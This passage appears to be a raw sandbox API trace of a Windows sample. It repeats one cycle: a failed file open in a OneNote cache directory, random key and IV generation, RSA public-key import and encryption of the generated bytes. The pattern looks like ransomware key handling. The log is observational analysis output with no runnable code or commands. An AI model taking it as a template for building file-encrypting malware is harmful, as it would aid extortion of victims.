dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0173.621] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0173.625] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.625] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.625] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0173.625] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0173.625] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0173.629] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.629] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.629] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0173.629] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0173.629] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0173.641] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66d888) returned 1 [0173.641] CryptGetKeyParam (in: hKey=0x66d888, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.641] CryptEncrypt (in: hKey=0x66d888, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3980000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x3980000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0173.641] GetLastError () returned 0x0 [0173.641] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0173.641] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0173.652] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66dcc8) returned 1 [0173.652] CryptGetKeyParam (in: hKey=0x66dcc8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.652] CryptEncrypt (in: hKey=0x66dcc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3990000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x3990000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0173.652] GetLastError () returned 0x0 [0173.653] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0173.653] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000Q.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000q.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0173.653] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0173.656] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.657] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.657] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0173.657] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0173.657] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0173.660] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.661] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.661] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0173.661] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0173.661] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0173.672] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66e008) returned 1 [0173.672] CryptGetKeyParam (in: hKey=0x66e008, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.672] CryptEncrypt (in: hKey=0x66e008, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x39a0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x39a0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0173.672] GetLastError () returned 0x0 [0173.672] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0173.672] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0173.683] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66de08) returned 1 [0173.683] CryptGetKeyParam (in: hKey=0x66de08, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.683] CryptEncrypt (in: hKey=0x66de08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x39b0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x39b0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0173.683] GetLastError () returned 0x0 [0173.683] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0173.683] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000R.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000r.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0173.683] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0173.687] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.687] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.687] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0173.687] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0173.687] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0173.691] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.691] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.691] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0173.691] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0173.691] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0173.702] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66d948) returned 1 [0173.702] CryptGetKeyParam (in: hKey=0x66d948, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.702] CryptEncrypt (in: hKey=0x66d948, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x39c0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x39c0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0173.703] GetLastError () returned 0x0 [0173.703] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0173.703] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0173.713] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66dbc8) returned 1 [0173.713] CryptGetKeyParam (in: hKey=0x66dbc8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.713] CryptEncrypt (in: hKey=0x66dbc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x39d0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x39d0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0173.714] GetLastError () returned 0x0 [0173.714] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0173.714] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000S.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000s.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0173.714] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0173.718] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.718] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.718] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0173.718] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0173.718] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0173.722] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.722] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.722] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0173.722] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0173.722] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0173.733] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66d9c8) returned 1 [0173.733] CryptGetKeyParam (in: hKey=0x66d9c8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.733] CryptEncrypt (in: hKey=0x66d9c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x39e0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x39e0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0173.734] GetLastError () returned 0x0 [0173.734] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0173.734] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0173.745] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66dd88) returned 1 [0173.745] CryptGetKeyParam (in: hKey=0x66dd88, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.745] CryptEncrypt (in: hKey=0x66dd88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x39f0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x39f0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0173.745] GetLastError () returned 0x0 [0173.745] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0173.745] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000T.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000t.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0173.745] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0173.749] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.749] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.749] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0173.749] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0173.749] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0173.753] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.753] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.753] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0173.753] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0173.753] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0173.765] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66ddc8) returned 1 [0173.765] CryptGetKeyParam (in: hKey=0x66ddc8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.765] CryptEncrypt (in: hKey=0x66ddc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3a00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x3a00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0173.765] GetLastError () returned 0x0 [0173.765] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0173.765] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0173.775] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66db48) returned 1 [0173.776] CryptGetKeyParam (in: hKey=0x66db48, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.776] CryptEncrypt (in: hKey=0x66db48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3a10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x3a10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0173.776] GetLastError () returned 0x0 [0173.776] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0173.776] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000U.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000u.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0173.776] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0173.780] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.780] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.780] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0173.780] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0173.780] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0173.784] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.784] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.784] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0173.784] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0173.784] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0173.796] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66dd48) returned 1 [0173.796] CryptGetKeyParam (in: hKey=0x66dd48, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.796] CryptEncrypt (in: hKey=0x66dd48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3a20000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x3a20000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0173.796] GetLastError () returned 0x0 [0173.796] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0173.796] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0173.812] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66dc48) returned 1 [0173.812] CryptGetKeyParam (in: hKey=0x66dc48, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.812] CryptEncrypt (in: hKey=0x66dc48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3a30000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x3a30000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0173.812] GetLastError () returned 0x0 [0173.812] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0173.812] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000V.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000v.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0173.813] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0173.817] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.817] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.817] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0173.818] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0173.818] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0173.822] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.823] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.823] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0173.823] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0173.823] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0173.836] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66e048) returned 1 [0173.837] CryptGetKeyParam (in: hKey=0x66e048, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.837] CryptEncrypt (in: hKey=0x66e048, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3a40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x3a40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0173.837] GetLastError () returned 0x0 [0173.837] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0173.837] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0173.848] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66db88) returned 1 [0173.848] CryptGetKeyParam (in: hKey=0x66db88, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.848] CryptEncrypt (in: hKey=0x66db88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3a50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x3a50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0173.849] GetLastError () returned 0x0 [0173.849] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0173.849] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000010.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000010.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0173.849] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0173.852] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.853] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.853] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0173.853] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0173.853] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0173.857] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.857] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.857] CryptGenRandom (in: 